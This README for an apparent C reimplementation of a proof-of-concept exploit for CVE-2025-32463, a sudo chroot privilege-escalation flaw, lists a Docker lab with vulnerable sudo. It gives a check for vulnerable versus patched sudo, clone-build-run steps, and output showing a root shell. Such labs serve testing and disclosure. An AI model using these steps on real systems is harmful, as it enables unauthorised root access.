
C reimplementation of chwoot PoC
This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature.
Vulnerable builds of sudo 1.9.14 up to 1.9.17 (all p‑revisions) on most Linux distributions are affected.
Security Pages
| File | Purpose |
|---|---|
| Dockerfile | Builds an Ubuntu 24.04 image with vulnerable sudo 1.9.16p2 and build tools |
| sudo‑chwoot.sh | Proof‑of‑concept exploit that spawns a root shell inside the chroot |
| run.sh | Helper script that builds the image (if needed) and launches the exploit container |
# Vulnerable sudo
poc ~ $ sudo -R woot woot
sudo: woot: No such file or directory
# Patched sudo
poc ~ $ sudo -R woot woot
[sudo] password for poc:
sudo: you are not permitted to use the -R option with woot
# 1 – clone repo
$ git clone https://github.com/vpr-labs/CVE-2025-32463.git
$ cd CVE-2025-32463
# 2 – build and run Docker image (tagged "vpr-chwoot")
$ ./run.sh
# 3 – run exploit in container (runs root command directly)
poc@f722d9182d1f:~$ make && ./vpr-chwoot
woot!
root@f722d9182d1f:/# id
uid=0(root) gid=0(root) groups=0(root),1001(poc)
root@f722d9182d1f:/#
run.sh passes --privileged and --rm to Docker so the container cleans itself up when you exit.
Remove the image when you’re done:
docker rmi vpr-chwoot